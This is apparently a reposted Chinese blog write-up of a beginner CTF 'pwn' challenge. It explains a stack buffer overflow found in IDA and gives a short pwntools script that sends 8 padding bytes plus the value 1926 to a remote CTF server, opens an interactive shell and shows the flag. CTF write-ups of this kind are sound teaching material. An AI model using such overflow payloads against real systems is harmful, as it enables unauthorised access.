18.9.16 PWN----When Did You Born

最近想学一下pwn的基础

这个是南邮CTF平台的PWN的第一题把算是(老平台的唯一一道)

听大神说pwn很多文件都采取elf头,所以推荐在linux下食用

直接拖进IDA,分析一下

看下来是利用缓冲区溢出吧,先输入v4字符串覆盖空间,然后再给v5赋值1926就好了,试试看,从ebp的偏移可以看出来v4距离v5需要覆盖8个字节

但是有个坑就是刚开始What's your birth那里还有个while语句,如果无法执行过去,会死循环,其实就是搭配scanf,10转成字符不就是回车键么?随便数个数字就好了

安装pwntools,一边做题目,一边学pwntools的函数

# coding=utf-8
from pwn import  *

conn = remote('ctf.acdxvfsvd.net',1926)   #远程连接   

payload = 'a'*8 + p32(1926)               #p32表示传输的是一个四字节数 
conn.recvuntil("What\'s Your Birth?\n")
conn.sendline("28")                        #sendline相当于发送一行数据
conn.recvuntil("What\'s Your Name?\n")
conn.sendline(payload)
conn.interactive()                        #与shell交互


#flag{gets_is_dangerous_+1s}

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/82595883